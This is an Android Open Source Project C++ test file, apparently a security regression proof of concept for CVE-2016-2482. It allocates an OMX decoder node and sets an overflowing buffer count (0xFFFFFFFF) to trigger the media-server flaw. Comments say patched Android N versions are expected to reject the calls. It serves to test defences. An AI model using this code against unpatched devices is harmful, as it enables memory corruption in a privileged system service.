1 /**
2 * Copyright (C) 2018 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 *      http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16 
17 #define LOG_TAG "CVE-2016-2482"
18 
19 #include <OMX_Component.h>
20 #include <OMX_Types.h>
21 #include <binder/IServiceManager.h>
22 #include <binder/MemoryDealer.h>
23 #include <media/IMediaPlayerClient.h>
24 #include <media/IMediaPlayerService.h>
25 #include <media/IMediaRecorder.h>
26 #include <media/IOMX.h>
27 #include <media/OMXBuffer.h>
28 #include <media/stagefright/OMXClient.h>
29 #include <sys/stat.h>
30 #include <sys/time.h>
31 #include <utils/StrongPointer.h>
32 
33 #define OMX_DirInput 0
34 #define OMX_CORE_INPUT_PORT_INDEX 0
35 
36 using namespace android;
37 
38 struct DummyOMXObserver : public BnOMXObserver {
39 public:
DummyOMXObserverDummyOMXObserver40   DummyOMXObserver() {}
41 
onMessagesDummyOMXObserver42   virtual void onMessages(const std::list<omx_message> &messages __unused) {}
43 
44 protected:
~DummyOMXObserverDummyOMXObserver45   virtual ~DummyOMXObserver() {}
46 };
47 
48 // decoder
fuzzIOMXSetParameterChangeCount()49 bool fuzzIOMXSetParameterChangeCount() {
50   const char *name = "OMX.qcom.video.decoder.avc";
51   sp<IMemory> memory;
52   sp<IOMXNode> node = 0;
53   sp<IOMX> mOmx;
54   IOMX::buffer_id bufferId = 0;
55   int outMemSize = 1024;
56   int bufferCnt = 4;
57   int memSize = 49 * outMemSize * bufferCnt;
58 
59   OMXClient client;
60   if (client.connect() != OK) {
61     ALOGE("OMXClient connect == NULL");
62     return false;
63   }
64 
65   mOmx = client.interface();
66   if (mOmx == NULL) {
67     ALOGE("OMXClient interface mOmx == NULL");
68     client.disconnect();
69     return false;
70   }
71 
72   sp<DummyOMXObserver> observerDec = new DummyOMXObserver();
73 
74   ALOGE("-----------decode------------");
75   status_t err = mOmx->allocateNode(name, observerDec, &node);
76   if (err != OK) {
77     ALOGE("%s node allocation fails", name);
78     client.disconnect();
79     return false;
80   }
81 
82   sp<MemoryDealer> dealerIn = new MemoryDealer(memSize);
83 
84   memory = dealerIn->allocate(memSize);
85   if (memory.get() == nullptr) {
86     ALOGE("memory allocation failed , err: %d", err);
87     node->freeNode();
88     client.disconnect();
89     return false;
90   }
91 
92   OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
93       sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
94 
95   if (params == NULL) {
96     ALOGE("memory allocation failed , err: %d", err);
97     node->freeNode();
98     client.disconnect();
99     return false;
100   }
101   memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
102 
103   params->eDir = (OMX_DIRTYPE)OMX_DirInput;
104 
105   params->nBufferCountActual = 1024 * 1024 / 16;
106   params->nBufferSize = 0x31000;
107   params->format.video.nFrameHeight = 0;
108 
109   /*
110    * Exit from here if setParameter fails.
111    * This is the expected behavior in Android N
112    */
113   err = node->setParameter(OMX_IndexParamPortDefinition, params,
114                            sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
115   ALOGI("setParameter, err: %d", err);
116   if (err != OK) {
117     node->freeNode();
118     free(params);
119     client.disconnect();
120     return false;
121   }
122 
123   /*
124    * Exit from here if useBuffer fails.
125    * This is the expected behavior in Android N
126    */
127   err = node->useBuffer(OMX_CORE_INPUT_PORT_INDEX, memory, &bufferId);
128   ALOGE("useBuffer, err: %d", err);
129   if (err != OK) {
130     node->freeNode();
131     free(params);
132     client.disconnect();
133     return false;
134   }
135 
136   params->nBufferCountActual = 0xFFFFFFFF;
137 
138   err = node->setParameter(OMX_IndexParamPortDefinition, params,
139                            sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
140   ALOGE("setParameter, change actualcount, err: %d", err);
141 
142   err = node->freeNode();
143   free(params);
144   client.disconnect();
145   ALOGI("freeNode, err: %d", err);
146   return true;
147 }
148 
main()149 int main() {
150   return (int)(!fuzzIOMXSetParameterChangeCount());
151 }
152